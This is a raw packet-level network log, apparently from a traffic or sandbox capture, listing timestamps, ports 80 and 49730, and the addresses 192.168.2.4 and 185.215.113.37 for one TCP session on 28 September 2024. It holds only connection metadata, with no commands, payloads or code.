Sep 28, 2024 10:19:16.825191021 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.825242996 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.825270891 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.825289011 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.825335979 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.825339079 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.825373888 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.825416088 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.825426102 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.825463057 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.825495958 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.825508118 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.825530052 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.825536013 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.825563908 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.825609922 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.825628996 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.825678110 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.825712919 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.825722933 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.825747013 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.825792074 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.826251030 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.826280117 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.826312065 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.826328993 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.826364994 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.826373100 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.826395035 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.826442003 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.826486111 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.826535940 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.826560974 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.826569080 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.826586008 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.826603889 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.826648951 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.826687098 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.826738119 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.826760054 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.826781988 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.826791048 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.826823950 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.826858044 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.826873064 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.826893091 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.826903105 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.826910973 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.826936007 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.826944113 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.826956987 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.826982975 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.827025890 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.827059984 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.827070951 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.827169895 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.827172995 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.827203989 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.827235937 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.827251911 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.827269077 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.827301979 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.827316046 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.827336073 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.827378035 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.827435970 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.827467918 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.827482939 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.827501059 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.827508926 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.827534914 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.827584982 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.827615976 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.827632904 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.827666998 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.827696085 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.827713013 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.827728987 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.827765942 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.827774048 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.827780008 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.827805042 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.827820063 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.827886105 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.827919006 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.827933073 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.827954054 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.827980995 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.827996969 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.828042030 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.828044891 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.828097105 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.828105927 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.828130007 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.828162909 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.828175068 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.828208923 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.828224897 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.828242064 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.828248978 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.828277111 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.828309059 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.828319073 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.828362942 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.828397036 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.828418016 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.828557968 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.828591108 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.828635931 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.828659058 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.828668118 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.828701973 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.828716993 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.828735113 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.828768969 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.828780890 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.828800917 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.828835011 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.828843117 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.828866959 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.828892946 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.828917027 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.831459999 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.831516027 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.831535101 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.831545115 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.831588984 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.876071930 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.876108885 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.876126051 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.876143932 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.876178980 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.876199961 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.876231909 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.911124945 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.911176920 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.911180973 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.911402941 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.956705093 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.956784010 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.956793070 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.956835032 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.956870079 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.956892014 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.956902027 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.956926107 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.956937075 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.956959963 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.956968069 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.956994057 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.957001925 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.957036018 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.957051992 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.957070112 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.957104921 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.957125902 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.957226038 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.957361937 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.957391024 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.957410097 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.957427025 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.957475901 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.957494020 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.957544088 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.957572937 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.957578897 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.957598925 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.957612991 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.957628012 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.957767963 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.957988024 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.958020926 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.958043098 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.958056927 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.958103895 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.958142996 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.958175898 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.958197117 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.958209991 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.958229065 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.958245039 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.958280087 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.958317041 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.958348036 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.958431959 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.958463907 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.958484888 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.958499908 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.958549976 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.958564043 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.958615065 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.958642960 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.958663940 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.958760023 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.959026098 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.959078074 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.959088087 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.959120989 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.959172964 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.959203959 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.959253073 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.959286928 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.959306002 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.959320068 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.959336042 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.959355116 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.959372997 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.959455967 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.959487915 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.959521055 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.959541082 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.959572077 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.959629059 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.959662914 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.959693909 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.959728956 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.959749937 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.959770918 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.959810019 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.959842920 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.959953070 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.959955931 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.960007906 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.960040092 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.960063934 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.960072041 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.960105896 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.960123062 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.960139036 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.960172892 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.960189104 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.960210085 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.960259914 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.960314035 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.960345984 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.960361958 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.960378885 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.960393906 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.960413933 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.960447073 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.960480928 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.960498095 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.960515022 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.960542917 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.960563898 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.960649014 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.960678101 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.960710049 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.960736036 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.960741997 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.960777044 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.960793972 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.960807085 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.960818052 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.960841894 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.960870028 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.960901976 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.960925102 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.960938931 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.960952044 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.960968971 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.960992098 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.961004972 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.961011887 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.961040974 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.961090088 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.961122036 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.961154938 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.961185932 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.961205006 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.961220026 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.961252928 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.961272001 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.961285114 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.961286068 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.961306095 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.961318970 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.961334944 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.961354971 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.961383104 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.961431026 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.962657928 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.962687969 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.962714911 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.962735891 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.963787079 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.963819981 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.963838100 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.963852882 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.963901043 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.008440018 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.008476973 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.008511066 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.008604050 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.008858919 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.008913040 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.008940935 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.008970976 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.011008978 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.095249891 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.095287085 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.095334053 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.095351934 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.100873947 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.100929022 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.100934029 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.100965977 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.100977898 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.101017952 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.101018906 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.101052999 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.101108074 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.101150990 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.101180077 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.101205111 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.101213932 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.101233006 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.101260900 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.101265907 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.101317883 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.101331949 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.101366997 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.101382017 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.101411104 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.101418018 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.101450920 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.101469994 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.101497889 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.101499081 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.101531982 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.101546049 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.101574898 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.101581097 CEST	80	49730	185.215.113.37	192.168.2.4
